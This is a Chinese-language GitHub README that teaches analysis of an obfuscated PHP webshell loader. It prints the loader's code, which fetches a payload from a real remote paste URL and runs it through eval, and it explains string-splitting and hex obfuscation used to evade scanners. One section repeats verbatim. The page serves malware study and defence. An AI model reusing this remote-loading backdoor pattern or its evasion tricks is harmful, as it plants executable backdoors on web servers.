SecurityTalent/Malware-Breakdown-Code-Analysis
GitHub: SecurityTalent/Malware-Breakdown-Code-Analysis
这是一个 PHP 恶意代码分析教学库,通过详细拆解混淆 Webshell 实例来演示恶意软件的执行逻辑与逆向分析方法。
Stars: 0 | Forks: 0
# 恶意软件分解代码分析
## 🛑 ***[Main_Mal.php](./Main_Mal.php)*** 恶意软件分解(代码分析)
该文件包含一个经过混淆的 PHP 加载器,它从远程服务器获取代码并直接执行。这是一种常见的 web shell/后门模式。
**🔎 1. 远程 URL**
首先,恶意软件构造了一个 URL:`https://ghostbin.axel.org/paste/r5cbf/raw`
```
$_u = 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' .
'g' . 'h' . 'o' . 's' . 't' . 'b' . 'i' . 'n' . '.' . 'a' . 'x' . 'e' . 'l' . '.' . 'o' . 'r' . 'g' . '/' .
'p' . 'a' . 's' . 't' . 'e' . '/' .
'r' . '5' . 'c' . 'b' . 'f' . '/' .
'r' . 'a' . 'w';
// $_u = 'https://ghostbin.axel.org/paste/r5cbf/raw';
```
**🔍 2. 检查服务器设置**
检查 `allow_url_fopen` 是否启用:
```
$_open = call_user_func($_iniget, 'a'.'l'.'l'.'o'.'w'.'_' . 'u'.'r'.'l'.'_' . 'f'.'o'.'p'.'e'.'n');
// $_open = ini_get('allow_url_fopen');
```
如果启用了此项,恶意软件将使用 file_get_contents() 来获取远程数据。
***检查 cURL 是否存在:*** `$_curl = function_exists('curl_init');`
如果 cURL 可用,它将使用 cURL 函数来获取 payload。
**🌐 3. 下载远程 Payload** 如果 `allow_url_fopen` 已启用:
```
$_out = file_get_contents($_u);
```
否则,回退到 cURL:
```
curl_init()
curl_setopt()
curl_exec()
curl_close()
```
这些函数从远程 URL 获取数据。
**⚠️ 4. 关键执行步骤:** 获取 payload 后:
```
eval('?>' . base64_decode(base64_encode($_out)));
```
### 这里发生了什么?
- 远程数据被获取
- 它是 base64 编码的
- 然后被解码
- 最后通过 eval() 执行
## 🧩 混淆技术
代码还试图隐藏函数名:
```
'f'.'i'.'l'.'e'.'_'...'get_contents'
```
**目的:**
- 难以手动阅读
- 绕过某些杀毒软件扫描
- 使分析变得困难
# 🔥 简单解释 - 完整执行流程
## 🛑 ***[Mal_02_version.php](./Mal_02_version.php)*** 恶意软件分解(代码分析)
文件 `Main_Mal.php` 包含一个隐藏的远程加载器。
它动态地从远程 URL 获取代码:`https://ghostbin.axel.org/paste/r5cbf/raw`。我发现了另一个混淆版本的代码 `Mal_02_version.php`
该工具自动将可读的 PHP 代码转换为高度混淆的版本,以使其难以分析。
## 🛠 混淆工具做了什么
该工具应用了多层保护:
### 1️⃣ 字符串编码
函数名和关键字被转换为:
- 十六进制格式 (`\x31\x32...`)
- 分割字符串拼接
- 随机化的变量名
示例:
```
ini_set
```
变成了:`"\x69\x6e..."`
⚠️ **警告:博客文章正在编写中。
# 🔥 简单解释 - 完整执行流程
## 🛑 ***[Mal_02_version.php](./Mal_02_version.php)*** 恶意软件分解(代码分析)
文件 `Main_Mal.php` 包含一个隐藏的远程加载器。
它动态地从远程 URL 获取代码:`https://ghostbin.axel.org/paste/r5cbf/raw`。我发现了另一个混淆版本的代码 `Mal_02_version.php`
该工具自动将可读的 PHP 代码转换为高度混淆的版本,以使其难以分析。
## 🛠 混淆工具做了什么
该工具应用了多层保护:
### 1️⃣ 字符串编码
函数名和关键字被转换为:
- 十六进制格式 (`\x31\x32...`)
- 分割字符串拼接
- 随机化的变量名
示例:
```
ini_set
```
变成了:`"\x69\x6e..."`
⚠️ **警告:博客文章正在编写中。标签:Assetfinder, Base64编码, cURL, DAST, DNS 反向解析, eval执行, ffuf, file_get_contents, ini_get, IP 地址批量处理, PE 加载器, PHP代码审计, Webshell, Web安全, 云资产清单, 代码混淆, 动态载荷, 后门, 恶意脚本, 恶意软件分析, 文件包含, 流量获取, 漏洞分析, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 逆向工程, 防御加固, 隐私保护